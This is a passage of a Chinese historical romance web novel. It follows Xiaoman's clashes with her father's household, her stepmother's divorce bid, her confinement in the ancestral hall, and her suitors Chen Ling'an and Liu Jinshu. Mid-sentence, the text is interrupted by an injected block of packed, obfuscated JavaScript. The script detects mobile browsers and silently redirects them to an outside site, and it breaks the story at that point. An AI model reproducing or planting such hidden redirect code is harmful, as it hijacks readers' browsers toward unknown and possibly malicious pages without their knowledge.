想看,又没勇气,不看,心又猫抓似的痒痒。 头微微垂,眼偷偷瞧,心且慌且跳,破天荒第一次,她竟无法坦然面对陈令安! 小满不知道自己怎么了。 纤细又微颤的呼吸声中,是他长久的沉默。 太阳躲进云层,刺目的光华散去,他的面容渐渐清晰起来。 “恭喜。”陈令安瞥一眼小满腰间别着的鞭子,语气谈不上好,却也没多坏。 “想必张刘两家好事将近,记得下请柬给我。还是算了,估计你们两家不会让我进门。” 他又笑了下,“以后我们还是少见面为好,若引起你未婚夫误会,就是我的罪过了。” 小满没有来一阵烦躁,没好气说:“啊对对,我就是这个意思,以后咱们大路朝天,各走一边!” “如此,陈某便告辞了。”陈令安微一颔首,竟是毫不留恋转身离去。 一步,两步,三步…… “站住!”小满喊道。 陈令安嘴角划过一丝他也没察觉的笑意,站定,回身。 小满鼓着腮帮子瞪他,“我还欠你一百两银子,你可以不要,我却不能赖账,不过我现在没钱,等我有钱了再还你。” 陈令安忍笑道:“我也不是心慈手软的好人,欠债必追,绝不姑息。看在咱们是旧相识的份上,就破一次例,容你分期偿还,一个月还五钱银子,还完为止。” “要还两百个月,也就是十六年零八个月。”因气还没捋顺,小满说的话也一股子生姜味,“真不好意思,还得委屈陈大人多看我十六年零八个月。” 陈令安轻咳一声,竖起手掌,“为了钱,委屈我的眼睛也是没法子的事。” 小满一巴掌拍在他掌心,“你老就生受着吧!” 啪一声巨响,惊得枝头鸟儿乱飞,附近众人噤声。 陈令安若无其事背过手,慢慢收紧拳头。 啧,真疼! “这个月十六还第一笔,我在三山门等你。” 小满鼻子哼哼一声,表示知道了。 见他要走,又忙叫住他,“诶,上次我砸中你的头,真是个意外,得空你也帮我澄清一下,省得别人拿这事打趣我,好像我是个凶悍泼妇似的。” 陈令安脸色微变,又瞥了眼她腰间的鞭子,点点头,“好。” 一众纨绔子弟呼啦啦随之离开。 此时张安懿方敢上前,不乏担忧道:“那一百两银子,祖母交代母亲替你补上……或者我把青金石还他。你还是不要与他见面了吧,父亲知道,少不得又要罚你。” 小满毫不在意,“罚就罚吧,顶天儿把我赶出门——反正他早就后悔认我了。” 张安懿咋舌,“那你可怎么活啊?” “在张家门里头,也不见得过的有多好。”小满冷笑一声,“你觉得现在的日子有意思?” “你胡说八道些什么?好好的小五,都让你带坏了!” 一声娇斥传来,张小满扭头望去,不远处的林荫站了三个女孩子,也不知站多久了。 满面怒气的是张君懿,当中身穿真红大袖衣,颇具雍容华贵之风的女子一脸好奇,另一边那个同样衣着不俗,却是冷着脸,看向她的目光十分不善。 张小满微微皱了下眉头。 张安懿气势汹汹走近,“见了静轩公主还不行礼?我张家怎么就出了你这个不知礼数的野丫头!” 已是没有半点萎靡之色,眼神也充满挑衅和得意,似乎在说:就算没有太太,我照样能跻身京城顶级贵女的圈子! 张小满挑挑眉,突然很想发笑。 但该有的礼数还得有,“不知公主殿下驾临,有失远迎,请殿下恕罪。”说着,向穿真红大袖衫的女子蹲了个万福。 静轩公主笑着抬抬手,“不知者不怪,早就听说过你的名头,今儿头一回见,果然……和传闻一样。” 这个“传闻”,不用猜也知道是从张君懿口中听说的,准没好话。 小满不会自讨没趣,笑嘻嘻道:“乡下丫头,能活着认祖归宗已是万幸,没读过多少书,让公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958465|176642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主见笑了。不过今儿托公主的福,我学会了一则成语。” 静轩公主以为她会说些溜须拍马的话,敷衍地笑笑,并无追问的意思。 倒是张君懿嗤笑一声,“在场的哪个不是饱读诗书?就是小五也比你强,少班门弄斧了。” 小满笑道:“读书多不代表读明白了,许多浅显的道理,有人读一辈子书也不明白。” 一句话把静轩公主的好奇心勾起来,“你学到了什么?” 小满抿嘴一笑,一字一句说道:“狐、假、虎、威。” 静轩公主表情呆滞了一瞬,没憋住笑出了声,尽管她飞快收住声音,这声浅浅的笑还是让张君懿涨红了脸。 她没法反驳,毕竟公主也知道自己借了她的势,只是没捅破而已。 可她太想看到张小满栽跟头了! 今日她运气还不算太差,半路碰到了静轩公主和她的伴读吕嘉宜,静轩公主对她一向和善,是她为数不多的闺中好友。 但公主顾忌身份,不会刻意为难张小满。 但吕嘉宜就不一定了。 方才她们行至柳荫,正好瞧见张小满和刘瑾书窃窃私语,他二人相视而笑那一幕,想必不止刺痛了她一个人的眼睛。 “你不仅攀上了刘公子,还有个锦衣卫竹马替你撑腰,一时气盛,不把自家姐妹放在眼里也是有的。” 张君懿叹了声,“我比不得你,以后避让着也就是了。” 那个冷面女子开了口,“凭什么你避让她?不过一个狗腿子的小相好,也敢在我面前耍威风!” 张小满大怒,待要回嘴,张君懿却笑道:“三姐姐,这位是吕太监的侄女,吕太监知道是谁吗?监察厂卫的掌印太监,正是你那位竹马的顶头上司。” 这个名字有点耳熟,似乎在哪里听过…… 张小满一怔,平阳侯夫人提起过,就是帮忙压下陈令安奏章的那个人! “三姐姐,”张安懿鼓足勇气拽了拽她的衣袖,“她们都是惹不起的大人物,好汉不吃眼前亏,快服个软吧。” 道理小满都懂。 可她偏不! 30-35 第31章 驿卒, 连吏都不算,不过“徭役”的一种,常被视为“贱役”。 这不叫贬谪, 可称之为侮辱了。 张文醒来得知,差点再次晕过去。 他是两榜进士,起草过诏书, 做过堂官, 如何堪受这奇耻大辱? 因喘吁吁挣扎起身,“我不服,不服!我要去告御状,陈绍是公报私仇。” 孙姨娘忙把手里的汤药放下,边抹泪边劝:“别说老爷, 就是我们听了也气得不得了, 可这不是意气用事能解决的。咱们小门小户的, 哪能和陈家对抗?” 张文一想也对, “把刘瑾书给我找来,他承诺给我活动。” 孙姨娘:“老爷现在还没看明白?定亲的玉佩一到, 便是老爷一贬再贬, 再瞧瞧你头上的伤,谁家的闺女敢砸老子, 难道她依仗的是太太?” 张文呆了呆,更觉头疼欲裂。 还没嫁到刘家就敢对老父亲下毒手,等真当了刘家主母, 还不得把他挫骨扬灰? “退亲!” “老爷尽说气话,刘公子肯定不同意。” “那就弄死那个小婊子,让她嫁不成!” 孙姨娘简直无语,耐着性子劝道:“好端端地突然死了, 刘公子岂会善罢甘休,老爷,千万别冲动。” 张文怒道:“这不行那不行,你也处处跟我作对。” “我想起来了,当初就是你出主意让那小婊子嫁刘瑾书的,你个烂货,原来一早就存了害我的心!” 他抬手要打。 许是这一抬用的力气太大,扯动了伤口,一跳一跳的疼,好像有人不断踹他的脑袋。 他捂着头哎呦哎呦直叫唤。 一抹阴寒从孙姨娘的脸上闪过,但马上是恰到好处的惶恐和焦急。 她端起汤药,“老爷息怒,妾也想不到刘公子会言而无信,咱不受那屈辱,守着万贯家财过日子,更逍遥自在。” 张文恨恨道:“我不甘心。” 姚姨娘将汤勺递到他嘴边,“往后日子长着呢,没有人总会得意,也没有人一直倒霉。蛰伏一时,静待良机,老爷功名在身,还怕将来没有起复的时候?” 张文吞下汤药,细细琢磨一会儿,吩咐道:“给我请三个月病假,叫蒋氏拿银子把这阵子公中的亏空补上,再把那小婊子关祠堂,不准给吃的喝的。” 孙姨娘一一应下,心里却不以为然。 传信的官差扔下文书就走,旁的一句不肯多说,给红封也不收,水都不肯喝一口。 瞧那生恐沾上霉运的架势,孙姨娘心里顿时明镜似的。 老爷这辈子都不可能起复了。 还好,张小满这一闹,查账会不了了之。 若她还要查,就让老爷告她忤逆! 这可是十恶不赦的大罪,轻则鞭笞徒刑,重则绞首。饶是有刘瑾书护着,她也不可能全身而退。 解决一桩心事,孙姨娘只觉神清气爽。 接下来就是如何处置张小满,不能让她死,更不能让她逍遥法外。 关起来是上上策。 却不能像老爷说的那样饿着她,不但要给,还要大鱼大肉供着。 片刻之间,孙姨娘脑中已将后续种种都安排好了。 她吩咐管事:“多带几个粗壮的婆子,请三姑娘去祠堂静静心,太太若不许,就说是老爷的吩咐,有什么话只管同老爷说。” 管事应声出去,不多时满头大汗飞一般回来:“不好啦,太太要和离!”- 和离! 离开张家,离开张文! 这个念头一起,就像疯狂生长的蔓草,再也无法抑制。 蒋夫人激动地在屋里走来走去,一会儿淌着眼泪骂自己眼瞎,一会儿又不知想到了什么哈哈大笑。 小满以为她经受不住刺激,吓得抱着她不敢撒手。 “我没事。”蒋夫人道,“他原本就是那样的人,我心里也清楚,就是不愿面对罢了。” 一开始是不愿父母担心,后来安慰自己,看在一双儿女的份上,忍了吧。 再后来孩子也走了,可她还继续兢兢业业扮演着张家主母的角色,不遗余力维护着张家的体面。 说到底,还是为了自己那点可怜的面子。 她不愿意遭人耻笑,不愿意让人指指点点:看吧,这就是她一意孤行,倒贴也要嫁给穷酸的结果。 笑吧,笑吧,随他们笑吧。 死要面子活受罪的事,她再也不干了! 蒋夫人长长叹出口气。 长久以来,压在心头始终排挤不出,那无穷尽的苦恼郁闷,都随着这声叹息,消失殆尽了。 走,今天就走。 这个家她是一刻也呆不下去了。 她立时催着小满收拾东西和她一起走。 小满笑了笑,透着点苦涩和无奈,但蒋夫人正在激动着,没注意到她的异常。 “用不着收拾。”她说,“先离开张家,别等他们再出幺蛾子不让母亲走。” 贵重物件去汤山时就收好了,其余东西也什么可留恋的。 蒋夫人拉着小满就走。 却被人堵在二门前。 孙姨娘和几个奴仆跪了一地。 方妈妈喝道:“让开,不知尊卑的东西,竟敢拦太太的路!” 蒋夫人院里的丫鬟婆子纷纷上前,撸起袖子瞪着眼,大有一言不合就开干的势头。 不知是不是受到的冲击太大,孙姨娘的嘴唇都白了。 “贱妾卑微,不敢妄议太太和老爷的恩怨。可老爷正逢大难,好歹等他熬过此劫,再提别的,全了夫妻的情义,也堵了别人说闲话的嘴。” 蒋夫人冷冷道:“我意已决,多说无益。” 孙姨娘重重叩头,“老爷重伤不起,家里没有主事的长辈,请太太体谅妾的难处,先暂留一日,待明天老太太回来,一切事宜与她老人家商量吧。” 小满冷笑道:“你怎么不体谅太太的难处?” 孙姨娘抬起头,“这么说,太太今天无论如何也要走了?” 蒋夫人略略点头。 孙姨娘深吸口气从地上爬起来,“太太执意要走,妾拦不住,但三姑娘不能走!” 蒋夫人吃了一惊,“为什么?” “她是张家的女儿,没理由跟你走,但凡老爷不发话,她就不能踏出张家门一步。太太强行带她走,妾只能报官。” 孙姨娘让开路,“太太请自便吧。” 蒋夫人犹豫了。 小满往外推她一下。 蒋夫人讶然回头,猛地明白过来她那句“用不着收拾”的意思了。 小满大声说:“方妈妈,走!” 方妈妈一咬牙,硬拉着蒋夫人走了。 正院的丫鬟婆子呼啦啦紧随其后,略嫌拥堵的二门随之变得冷清。 孙姨娘睨着小满说:“看来你在太太眼里,也不过如此。” 小满:“奇怪,太太走了,你并不很失望的样子。” “姑娘还是太小了。”孙姨娘笑笑,对管事使了个眼色。 管事会意,上前道:“老爷有令,三姑娘不孝不悌,即刻关入祠堂自省,断水断食,直到认错为止。” 小满毫不在意笑了声,不吵不闹地跟着管事去了。 孙姨娘很意外,原以为要花很多功夫,没想到她如此顺从。 枉费带了这许多人手。 又多一笔冤枉银子的支出! 忙了半晌,孙姨娘没精神再去伺候张文,往汤药里加了安神助眠的药丸,吩咐丫鬟好生守着,自己回屋歇着了。 张安懿上床挨着她躺下,“姨娘,我躲在大门口,看见太太的马车去了平阳侯府的方向。” “她没娘家,只能和妹妹商量,但和离是不光彩的事,侯府不见得愿意让小蒋氏出头。” “那太太离不成了?” “连她最疼爱的三姑娘都不管了,我看她是铁了心要离,等着瞧吧,老太太回来还有场好戏呢。” 张安懿沉默了会儿,又问:“老爷不会真想要三姐姐死吧?” 孙姨娘失笑,“他是想,可他不敢。你也别闲着,明天一早去长安左门外的翰林院,一定要见到刘瑾书,你三姐姐能不能度过此劫,就看你了。” 张安懿一听见外人就怵头,“不能让别人去?……锦绣,对,锦绣是三姐姐的大丫鬟,让她去最合适。” 她一提锦绣,孙姨娘才发现好几天没看到那个丫鬟,一时觉得蹊跷。 可找人打听探寻又是一笔银子,想想只出不进的账目,孙姨娘不免肉疼。 算了,主子都败了,丫鬟还能翻出什么浪花? “丫鬟的分量怎比得上张家姑娘?你大了,不能总畏畏缩缩的,也该练练接人待物。” “可我见了他不知道说什么。” “姨娘教你。” 孙姨娘一个字一个字地教,对方会有什么样反应,她该怎么回话,脸上应是什么的表情,如此这般仔仔细细叮嘱一番,又让张安懿复述,直到再无差错,方微微颔首。 翌日天色微明,张安懿打着哈欠候在翰林院门口。 不一会儿脑袋就耷拉下来,发出阵阵的鼾声。 还是跟车的婆子把她叫醒的。 天色已然大亮,她错过刘瑾书上衙的时间了! 无法,张安懿硬着头皮寻守门的衙役,“我姓张,有事找刘瑾书……” 衙役瞅她一眼没说话。 张安懿愣在原地,姨娘没提这种情况,她不知道该怎么做。 跟车的婆子轻声提醒,“给红封。” 张安懿恍然大悟,可她出来没带钱,只得褪下手上的银镯子递过去。 衙役这才帮忙跑腿。 不多时,便见刘瑾书急匆匆走过来。 张安懿鼓起勇气冲他招手,“刘公子。” “你?”刘瑾书一怔,脸上是毫不掩饰的失望。 他还记得自己,省去自报家门的步骤啦! 可以少说一段话,张安懿暗叹幸运。 婆子在后面捅了她一下。 张安懿回过神,忙道:“三姐姐被关祠堂了!” 刘瑾书登时变了脸色,命人牵马,穿着公服就一跃而上,转瞬间就消失在长街尽头。 竟是连事情真假原委都没问。 姨娘教的大段大段的话,一个字也没用上! 松口气之余,又生出羡慕。 到底在羡慕什么,她也说不上来- 祠堂幽深,阳光照不进来,白天和黄昏一样的幽暗。 小满醒来时恍惚了好一阵子,才弄清楚她在祠堂过了一夜。 地上放着一个黑漆托盘,上面是茶水和几样点心。 茶水还是温的,清新透亮的茶汤上飘着雪白的茉莉花,是她喜欢的茉莉花茶。 谁送来的? 门推不开,窗子也关着。 或许是母亲留下的哪个人暗中关照她吧。 小满打了个喷嚏。 这里有股奇怪的味道,明明打扫得很干净,小满却总能闻到霉烂的味道。 就像阴湿的屋子里,堆在墙角的稻草沤烂了。 供桌上燃着名贵的老山檀线香,清醇的香气也压不住那股子怪味。 小满打量着供桌后面的牌位。 光线暗淡,她很用力才看清牌位上的字。 张家祖宅在苏北,宗祠也在苏北,这里只供奉着张文这一支。 牌位寥寥数个,可她找了很久,也没有找到生母惠氏的牌位。 妾室不能进祠堂。 小满垂下眼帘,慢慢坐到蒲团上。 却听一阵霍霍的脚步声由远及近,紧接着门哗啦一声打开。 幽暗的祠堂被出其不意的阳光撕裂了。 小满有些适应不了这刺目的光线,抬手挡在眼前。 模糊的视线中,男人颀长的身影逐渐走近。 “三姑娘……” 刘瑾书! 小满目瞪口呆,像中了雷劈似的一动不动。 “很意外?”刘瑾书不禁莞尔。 他一笑,紧绷的面孔便如雪霁的晴空,瞧得小满又是一呆。 果然是京城第一美男子。 小满诚实点头,给与充分的肯定和认可。 “你五妹妹给我送的信儿。”刘瑾书上下打量着她,“有没有受伤,怎么突然被关起来了?” 显然没明白她点头的意思。 小满眉头微挑,笑容中带了几分得意和狡黠,“我把我爹砸了个满脸花。” 刘瑾书整个人都呆住了,半晌才揉揉眉心,“这可真有点麻烦……” 小满静静等着他接下来的话。 “先得把你从这里弄出去。”刘瑾书沉吟道,“还要堵上张老爷的嘴,趁事情没闹大尽快把事情压下去,事不宜迟,我马上去找他谈。” 这回轮到小满愕然了,“你要帮我?” “不然呢?” “我打了亲爹,忤逆不孝,人品低劣,会连累你的清名,你还要帮我?” 刘瑾书笑起来,“你肯定逼不得已才这样做,我清楚张老爷是什么样的人,难为你了。” 难为你了…… 简简单单四个字,却让她心里泛起阵阵涟漪,怎么也平静不下来。 刘瑾书微微低头看着她,“终于发现我的好了?” 小满不好意思地笑笑,却道:“谢谢你替我着想,不过你先不要插手,我能解决这事,假如我应付不了,你再帮我。” 刘瑾书不赞成,“你如果能解决,就不会被关进祠堂了。” “你越紧张我,他越漫天要价,还不如晾一晾。他不会把我怎样——他还打算把我卖个好价钱呢!” 小满不想继续这个话题,转而说,“我母亲要和离,她的处境比我更难。可以的话,请你多照看她几分,别让别人欺负了她。” 这个消息更惊人! 此时的刘瑾书是一个字也说不出,只剩下苦笑了。 小满道:“我们的亲事还是算了吧。” 刘瑾书静了一瞬,反问道:“你不相信我的诚意?” “当然不是。” “那就是还想着他?” 心尖儿忽悠一颤,小满想否认,可还没张嘴,眼睛就红了。 刘瑾书看到她这幅样子还有什么不明白的。 默然片刻,他说:“可不可以……试着喜欢我?” 屋里一时静寂下来,只有湿热的熏风穿堂而过,调皮地拨弄着她垂到腮边的碎发。 小满把那缕头发撩到耳后,手放下来,又无处安放似地捧起茶杯。 洁白的茉莉花悠悠地飘在茶汤上,轻轻碰了下她的唇,随即颤巍巍地飘走了。 小满抿了下嘴角,不知道该怎样回答他。 “我明白了。”刘瑾书忽道。 小满问:“你明白什么了?” 刘瑾书笑得很开心,“这是个好的开始”。 小满听得糊里糊涂的,可任凭她怎么问,刘瑾书只是笑,不肯解释。 “三姐姐。”张安懿提着食盒来了,“你一大天都没吃东西,快垫垫吧……” 她看到蒲团旁边的茶水和点心,再看看刘瑾书,略带尴尬地住了嘴。 面对妹妹的“雪中送炭”,小满反应很是冷淡,“不必了,请拿回去。” 张安懿硬着头皮背姨娘交代的话:“姐姐若还是生气,打我骂我都使得,就是不要作践自己的身子。咱们姐妹相处的时日虽短,我却是极亲近你的。” 小满不由笑了,“不如你劝劝你姨娘,把吞掉的太太嫁妆还回来,这样我还能领你们的情。” 张安懿的脸腾地红到耳朵根,冷不丁对上刘瑾书若有所思的目光,登时白了脸。 倒显心虚。 她提着食盒,慌里慌张逃也似地奔出门去。 张安懿只顾着低头跑,差点撞到刚进院门的边老太太。 扶着老太太的孙姨娘脸色一变,赶在老太太开口前问道:“你怎么在这里?你三姐姐呢?” 按计划,她此时应该在祠堂里陪着张小满,并在老太太责罚张小满时,拼死护着才对。 张安懿结结巴巴答道:“在、在祠堂。” 孙姨娘又问:“你是不是偷着给她送吃的去了?” “嗯……” “她把你骂回来了?” 张安懿委屈巴巴点点头。 孙姨娘叹口气,无奈地对边老太太说:“三姑娘这是还记恨着我们呢,这孩子脾气大,再把您气着,改日再来看她吧。” 边老太太板着脸,嘴角的皱纹又深了几分。 这是祖母大发雷霆的前兆!张安懿不由自主往孙姨娘身后躲。 却见刘瑾书迎面走来,后面跟着大摇大摆的张小满。 边老太太一怔,探询似地看向张安懿。 可张安懿一味低着头,根本没注意到她的眼神。 边老太太眼中闪过一丝暗恼,也不说话,只站在原地等着对面的人与她行礼。 刘瑾书却不似从前那般彬彬有礼,“三姑娘与我亲事在即,算是半个刘家妇了,张家要罚,也得先问过刘家的意思。” 他虽年轻,然而成名甚早,又是天子近臣,与空有虚名毫无权柄的张文相比,还是很有些官体威仪。 脸上一旦收了笑,那种上位者亲而难犯、不容置疑的威压也随之而来。 在场的人都看惯了他温和谦逊的模样,乍然见到这副冷冰冰的面孔,一下子被镇住了。 一肚子火的边老太太立时没了脾气,躲在孙姨娘身后的张安懿更是不敢抬头。 刘瑾书回身温声道:“我送你回院子。” 小满点点头,一出院门就忍不住笑出了声,“原来你也会恐吓人呢!” 刘瑾书浅浅一笑,文雅中暗含恣意,“我多少还是有点脾气的。” 小满故作惊吓状:“呀,那我以后要小心点,万一惹恼了你,岂不是大大的不妙?” “我还能让你害怕?小生倍感荣幸!”说着,刘瑾书竟拱手一揖,“只求娘子容我多准备几根拄杖,以防不时之需。” 小满不觉飞红了脸,“呸,谁是你娘子,哪个又是河东狮了?河东狮又怎样,我就不许我丈夫纳妾收通房,也不许他对其他女子抛媚眼献殷勤,他再气恼也不行。” 刘瑾书轻轻道:“你要是吃醋,我高兴还来不及呢。” “油嘴滑舌。”小满丢下一句跑了——竟有些落荒而逃的意味! 刘瑾书笑着追过去。 没有风,繁茂的梧桐枝桠却重重一抖,几片树叶飘然落下,层层叠叠的树冠渐次归于沉寂- 吴勇发现上峰这两天状态不对,表面看着挺正常,公务也处理得井井有条,就连字都写得空前标准,就像从字帖上拓下来的。 可他三天没骂人了。 前晌递交公文,他竟然说了声“有劳”。 差点没把吴勇的胆子吓破! 他也不明白,他也不敢问,和几个狐朋狗友叽叽咕咕一阵,拿着刚收到的消息来到签押房探口风,“大人,惊天大新闻,蒋夫人要和离!” 陈令安“嗯”了声。 反应太冷淡了,他早就知道? 吴勇叹气:“蒋夫人一走,三姑娘的处境更难了。” 陈令安眼珠动了动,“她好得很,用不着别人替她操心,你闲着没事干就把门口大街扫了。” 呦呵,知道嘲讽他了,这才是陈令安嘛! 果然病根儿在三姑娘那里。 吴勇精神为之一振,“张家老太太去平阳侯府要人,侯府和陈家刘家关系紧密,咱们要不要借机掺一脚?” 陈令安笑着看过来,“很好,你打算怎么掺和?” “当然是搅黄……”吴勇正欲献计,碰到他冷冰冰的目光,猝然惊醒,“当、当然是护着蒋夫人,不让她吃亏。” “用不着,自有好姑……” 陈令安的声音低下去。 吴勇等了会儿也没等到下文,便悄悄退出来了。 一边走一边琢磨:好姑什么,好姑娘?三姑娘泥菩萨过河,肯定不是她。 张家其他人和蒋夫人也不亲厚,也没听说蒋夫人还有姑姑什么的。 到底好姑啥啊! 第32章 丫鬟通禀边老太太来访时, 小蒋氏正陪着姐姐唠家常。 “不见!”她冷笑道,“侯府岂是什么阿猫阿狗都能进来的地方?也叫那个老虔婆知道知道,没了我姐姐, 她张家什么都不是!” 丫鬟应声退下,不多时又回来了,“太太吩咐把人请到小花厅, 叫大奶奶换了衣服再过去。” 小蒋氏脸色微沉, 心知准有好事者给婆母通风报信了。 却不便表露,只柔声安慰姐姐:“别担心,不管那老虔婆怎么求,咱们也不回去。” 蒋夫人含笑点点头,瞧着满不在乎似的, 待妹妹走了, 脸上的笑容也没了, 又是一副心事重重的模样。 “太太?”方妈妈担忧地看着她。 蒋夫人:“你找牙人赁处房子, 我不能再给妹妹添麻烦了。其实我该想到的……” 方妈妈犹豫,“前天咱们来的时候, 侯夫人还说让太太多住几天, 别慌着走。太太,如果离开侯府, 光凭咱们几个可扛不住张家闹腾。” 蒋夫人疲惫地叹了口气。 如果侯府打算庇护她的话,侯夫人就不会见边老太太了- 小蒋氏静静站在小花厅外,透过窗棂, 可以清晰地看到厅内的情形。 边老太太一身缁衣,稍显灰白的头发在脑后挽了个纂儿,头上光溜溜的,什么钗环也没有。 “……实在不知道哪里惹她不如意了, 她是下嫁,我生怕习惯不一样让她为难,就常年在庵堂住着,家里的事从不插手,全是她一人说了算。” 边老太太的眼泪顺着脸上的沟沟壑壑滑下来。 “我儿说了两句混账话,这不对,的确是他的错,我替我儿赔不是。” 她停下来擦眼泪。 侯夫人谢氏轻轻摇着团扇,脸色淡然,并不接话。 边老太太只好接着说:“我儿仕途不顺接连贬谪,心情当然低落,做妻子的不说小意伺候,反倒扔下一大家子自个儿跑去消遣了。这是为妻之道么?也不能全怪我儿说话难听吧!” 谢夫人轻咳一声,“老大媳妇还没来?” 小蒋氏缓步走进来,“方才管事回来拿换洗世子爷的衣裳,说了几句话,耽搁了会儿。” 谢夫人忙问:“今晚不回来了?” “嗯,说是陪皇上用晚膳,还要听出小戏,说不得就留宿了。” “收拾妥当没有?” “还没……”小蒋氏瞅了瞅边老太太,面露难色。 谢夫人起身,“我过去看看,你先照应着你姐姐的婆母。” 边老太太也站起来说:“不必麻烦了,我今日来,只想给儿媳妇赔礼,请她回家。” 小蒋氏:“真不凑巧,我姐姐出门散心了,不在我这儿,赶明儿我见了她,一定劝她回家。” 边老太太深深看她一眼,“床头打架床尾和,天底下哪有不吵不打的夫妻?今天恨得要死,明天就能爱得要命,咱们外人顺着她骂几句对方,说不定明儿个还遭她埋怨呢!” 小蒋氏笑道:“别人我不知道,可我姐姐不是这样的人。” 边老太太皮笑肉不笑地扯扯嘴角,告辞了。 谢夫人重新坐下来,“你刚才扯谎了吧?” “看母亲问的是哪一件。”小蒋氏走到她身后,轻轻给她揉着肩膀,“世子爷那件是真的,不过不是刚才,是他早上交代的。” 谢夫人沉吟片刻,“侯爷驻守辽东多年,如今老太太年事已高,越加思念儿子。侯爷满身的伤病,辽地苦寒实在不适合他休养,几次动了调任的念头,都顾虑这顾虑那没有办成。” 小蒋氏的心微微一沉,掂掇着说:“世子前阵子还和我提过这事,想奏请皇上恩准侯爷回京,又怕皇上疑心咱家有别的想法……” “昨儿个老太太进宫面圣,皇上答应了。”谢夫人轻声道。 小蒋氏手一顿。 “只是官职尚未确定,皇上要和内阁再议,让咱们等等,先不要说出去。” 谢夫人话锋一转,提起蒋夫人,“你姐姐的事我听着也气得不得了,别的咱都能帮衬,唯有和离。本朝自开国至今,就没有女子成功和离的先例。” 小蒋氏不想放弃,“可以逼张文主动出一封休书。” 谢夫人叹息道:“即便求得一封休书,也要背上‘弃妇’的污名,达官贵人也好,平头百姓也好,无不鄙夷,你姐姐面临的风言风语更多。” “况且张家明面上没有大错,侯府不是她的娘家,强行插手,只会招致那些文臣士子的非议。” 谢夫人拍拍小蒋氏的手,“若是平时也就罢了,偏在侯爷调动的节骨眼儿,老太太不想节外生枝,你多体谅吧。” 婆母把话说到这个地步,小蒋氏还能说什么,只能点头。 光脚不怕穿鞋的,如今侯府穿着鞋,张家就是那个光脚的。 张文仕途无望,要保下半辈子的富贵,只能抓着姐姐这棵摇钱树不放。 逼急了还不定会做出什么下作事。 她不怕,也有法子说服世子爷弹压张文,替姐姐出了这口恶气。 却没想到头上两层婆婆不同意。 这可怎么是好? 小蒋氏一步三叹地回了院子,见姐姐都把行李收拾好了,不由大吃一惊。 “你要走?” “对,房子都找好了,离侯府不远。”蒋夫人笑道,“别劝我,你知道我是个犟种。” 小蒋氏眼泪刷地就下来了,“有我在,没人敢慢待你,你这又是何苦?” “我知道,不过我且得和张家打一阵官司,来来去去的不方便。妹妹,我现在就担心小满,你暗中看顾着点,就是帮了我最大的忙。” “这个你放心,我早让珏平给他表兄递话了。” - 刘瑾书还是不放心小满,这日下值,就想绕道去张家看看她。 今天恰巧秦珏平当值,兄弟俩便在宫门口碰上了。 “表哥,”秦珏平笑着打招呼,“你的长随真是越发不上心了,人都出来了,轿子还没伺候着。” 刘瑾书解释道:“不怪他,我去别处走走,他们跟着倒费事。” 秦珏平会意一笑,“是去看张家表姐吧。” 刘瑾书小小吃了一惊,“你猜得倒准。” “哪是猜的,我给你送的信,我能不知道?” 刘瑾书更是意外,却道:“我今儿后晌才收到消息,原来是你啊。” 秦珏平奇道:“姑妈居然今天才告诉你,我大前天就找她了,她还说马上安排呢!” 刘瑾书停顿一下,“我这两天太忙,家里也是刚逮了个空档。以后有事,直接去翰林院找我,岂不便宜。” 秦珏平说了声好。 张家表姐是内宅女眷,两家亲事不过私下里口头说定,外人都不知道,表兄怎好经常出入张家内宅? 当然是姑妈的身份更合适。 母亲和姨妈关心则乱,没想到这点,他想到了,所以托了姑妈。 表哥却是不知情的模样,难道姑妈没和他说? 秦珏平笑笑,和表哥道别。 刘瑾书也没了探望小满的心思,直接回了家。 刚进正院就听见母亲的笑声。 “有什么好事,太太这样高兴。”他悄悄问廊下喂鸟的丫鬟。 小丫鬟红着脸答道:“世子夫人的姐姐不住侯府了,太太让人准备乔迁的贺礼。” 刘瑾书眉头微蹙,深吸口气,挑帘进门。 里间传来老妈妈的奉承话:“还是太太有办法,不然她就在侯府一直住着了。呵,好像侯府是她娘家似的。” 秦夫人的声音暗含几分得意:“母亲再偏心儿媳,也比不上父亲回京重要。” 刘瑾书的心沉了下去。 他转身就走,不小心踢到了旁边的花架子。 秦夫人听见动静,透过窗子往外看,只瞧见儿子远去的背影。 她气坏了,晚上就跟丈夫抱怨儿子。 “娶了媳妇忘了娘,这媳妇还没进门呢,他就敢给我撂脸子,赶明儿岂不是要把我轰出去。” 刘方安慰老妻,“他敢?我先把他轰出去!放心,咱儿子的品性你最清楚,他干不出这事。” 秦夫人直委屈,“他都为一个不相干的外人和我置气,还有什么不敢的。” “说起来你做得也欠妥,单看你弟媳的面子,也不能幸灾乐祸啊。” “我怎么幸灾乐祸了?和离光彩么?一有事就往侯府跑,侯府又不是她娘家,自己丢人不算,还连累侯府跟着没脸!” 秦夫人越说越气,“我欠妥?她才欠妥呢!死缠烂打非要把张小满嫁过来,还没落定呢就闹和离,这时候不想想张小满的亲事,不考虑她闺女的脸面了?” “张家的确不是东西,可她蒋婵又是什么好的?和张文私定终生,未婚先孕,逼得蒋家不得不拿半个家当替她遮丑。打量我不知道?” “当初我就不同意我弟娶蒋娟——姐姐那样,妹妹能好得了?结果得罪了他们两口子,每次回去看见蒋娟那张不咸不淡的脸,我就窝火。” 老妻一通牢骚,听得刘方只觉牙疼,“陈芝麻烂谷子的事,真伪莫知,不提也罢。我也瞧不上张家,干脆把瑾书外放到江陵,过三年再回来。” 再深的感情也抵不过遥远的距离,两人见不着面,感情就会消磨殆尽。 秦夫人先是一喜,继而又怒,“平白让我儿去那么远的地方,一年到头也回不了几次家,真气死我了!” 刘方捻着胡须转开脸。 其实和人家姑娘没关系,近来儿子和陈令宜的关系愈发紧张,两人不止一次当众发生争执,甚至发展到不管对错都要呛对方几句的程度。 他和陈绍都觉得这么下去不是个事,必须把他二人分开。 陈令宜刚刚调回京城,只能是儿子外放。 若实话实说,老妻定会找老祖母大长公主帮忙,留下儿子,找借口外放陈令宜。一番操作下来,节外还不知要生出多少枝! 